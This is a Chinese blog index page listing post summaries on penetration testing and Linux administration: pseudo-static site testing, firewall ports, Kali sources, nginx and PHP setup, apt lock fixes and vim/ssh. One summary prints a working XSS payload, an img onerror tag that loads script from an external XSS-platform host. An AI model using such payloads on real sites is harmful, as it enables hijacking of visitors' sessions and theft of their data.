摘要: 在日常的测试中,经常会遇到静态页面,尤其是政府类的站点(前提经过授权),此时就会非常的棘手,在下多试验后,发现以下思路或可以帮助我们跨越这个障碍。 判断该站点是否伪静态。 伪静态即是网站本身是动态网页如.php、.asp、.aspx等格式动态网页有时这类动态网页还跟“?”加参数来读取数据库内不同资料 阅读全文
posted @ 2020-07-28 17:04 biupiu 阅读(1300) 评论(0) 推荐(0) 编辑
摘要: 原因是 防火墙没有开端口。 telnet 测试 3306端口,报错 telnet: connect to address 192.168.120.32: No route to host 再次链接就可以了。 阅读全文
posted @ 2020-05-28 16:34 biupiu 阅读(1844) 评论(0) 推荐(0) 编辑
摘要: xss <img src=test.jpg onerror="document.body.appendChild(document.createElement('script')).src='http://www.xms.la/x.php?c=L'"> <img src=1 onerror=docu 阅读全文
posted @ 2020-05-26 17:15 biupiu 阅读(194) 评论(0) 推荐(0) 编辑
摘要: 0x0 注释source.listdebian的更新源。 0x1 添加Kali源,在source.list.d新建kali.list,方便操作。 deb http://http.kali.org/kali kali-rolling main non-free contrib deb-src http 阅读全文
posted @ 2019-12-06 16:50 biupiu 阅读(2007) 评论(0) 推荐(0) 编辑
摘要: 自定义nginx基本配置文件conf.d 阅读全文
posted @ 2019-12-06 14:46 biupiu 阅读(97) 评论(0) 推荐(0) 编辑
摘要: 卸载现有php apt get autoremove php7 find /etc name " php " |xargs rm rf apt purge apt install gcc make libxml2 libxml2 dev wget http://cn2.php.net/distrib 阅读全文
posted @ 2019-12-05 14:00 biupiu 阅读(820) 评论(0) 推荐(0) 编辑
摘要: 群里大佬给解决的 大佬: 应该是要装软件包 ca certificates,你可以单独起个debian的docker镜像 试试 我: 你的意思是换好源后,生成新镜像,然后用这个镜像再起容器是这个意思吧。 大佬: 嗯 , 换源之前 把证书 ca certificates 装上,然后换成清华的源,应该就 阅读全文
posted @ 2019-11-21 11:26 biupiu 阅读(728) 评论(0) 推荐(0) 编辑
摘要: 出现这个问题的原因可能是有另外一个程序正在运行,导致资源被锁不可用。而导致资源被锁的原因,可能是上次安装时没正常完成,而导致出现此状况。 解决方法:输入以下命令 sudo rm /var/cache/apt/archives/lock sudo rm /var/lib/dpkg/lock 之后再安装 阅读全文
posted @ 2019-11-13 23:38 biupiu 阅读(136) 评论(0) 推荐(0) 编辑
摘要: [root@web server php] /etc/init.d/httpd restart shell init: error retrieving current directory: getcwd: cannot access parent directories: No such file 阅读全文
posted @ 2019-11-11 14:08 biupiu 阅读(2825) 评论(0) 推荐(0) 编辑
摘要: vim安装 ubuntu系统: centos系统: vim配置 vim实现右键粘贴 vim强制保存文件时用 : 安装ifconfig 安装ps SSH分客户端openssh client和openssh server `apt get install openssh server` 查看ssh se 阅读全文
posted @ 2019-10-30 15:07 biupiu 阅读(174) 评论(0) 推荐(0) 编辑